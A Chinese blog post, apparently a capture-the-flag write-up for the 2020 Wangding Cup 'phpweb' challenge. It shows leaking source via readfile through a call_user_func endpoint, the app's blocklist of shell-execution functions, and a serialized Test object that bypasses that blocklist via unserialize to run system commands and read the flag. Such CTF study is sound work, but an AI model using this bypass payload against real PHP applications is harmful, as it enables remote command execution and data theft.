[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

打开环境就看到一行报错

image

好像是时间设置的有问题,尝试抓包解决,发现post数据里有两个参数

image

瞎搞了一会没啥突破,也不知道这里面到底是啥意思,上网寻求帮助,最后看到有一个博主说,看到这两个参数,会想到一个是函数名,另一个是要传的参数,这里很有可能是用了call_user_func()函数,然后简单看了一下这个函数是干嘛的,就是给他一个函数名,他就会去调用执行那个函数。

如果是这个意思的话,那我岂不是可以直接执行命令了?

结果,直接被拦下来了......

image

应该是有些函数不能用了,好在我之前总结了一点点php的函数及其功能,现在就是不知道哪些函数被禁用了,所以得慢慢试,得想办法拿到源码。

尝试readfile()

image

OK!拿到源码:

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    

system不给用了,那这除了用ls查看目录,还可以用scandir函数来查看目录,但测试完后发现他并不能显示返回结果

后来注意到他代码里有一段判断数据类型的操作,于是去查看了一下scandir函数的返回类型,不出所料,他的返回类型是一个数组,而不是字符串。由于目前还没找到其他方法来查看目录,于是想偷懒,因为之前做的题目大多数都是将flag文件之间放在根目录下的,于是想用file_get_contents()函数直接读/flag,但这次好像不太一样了,页面提示文件不存在。

果然,偷懒的方法行不通了,只能规规矩矩的去检查他的目录了,一筹莫展之际,突然发现我源码还没看完呢,中间还有一个叫test的类,他里面也调用了那个gettime的方法,而且里面还没检查黑名单,如果可以利用的话,不就可以执行system函数了嘛。

这个test方法看一眼就想到了魔术方法、反序列化的东西,不多废话了,直接先测试看看

本地运行脚本

<?php
class Test {
        var $p = "ls";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo "success!!!";
            }
        }
    }
$a=new Test();
echo serialize($a);
?>
    
运行结果:
    O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

然后在靶机那只要再使用unserialize()就可以了

image

可以发现命令可以执行,那下面只要慢慢找就行了

最终在tmp目录下找到文件名为flagoefiu4r93文件很可疑,直接cat

image

拿到flag!

后来查看其它大佬写的writeup,发现有一种命令可以更快的找到flag文件,而且不用自己一个一个去找,命令如下

find / -name flag*

image

这个扫描结果可能会很慢,我测试时用了近1分钟才出结果。

posted @ 2021-10-29 20:28  Sentry_fei  阅读(61)  评论(0编辑  收藏  举报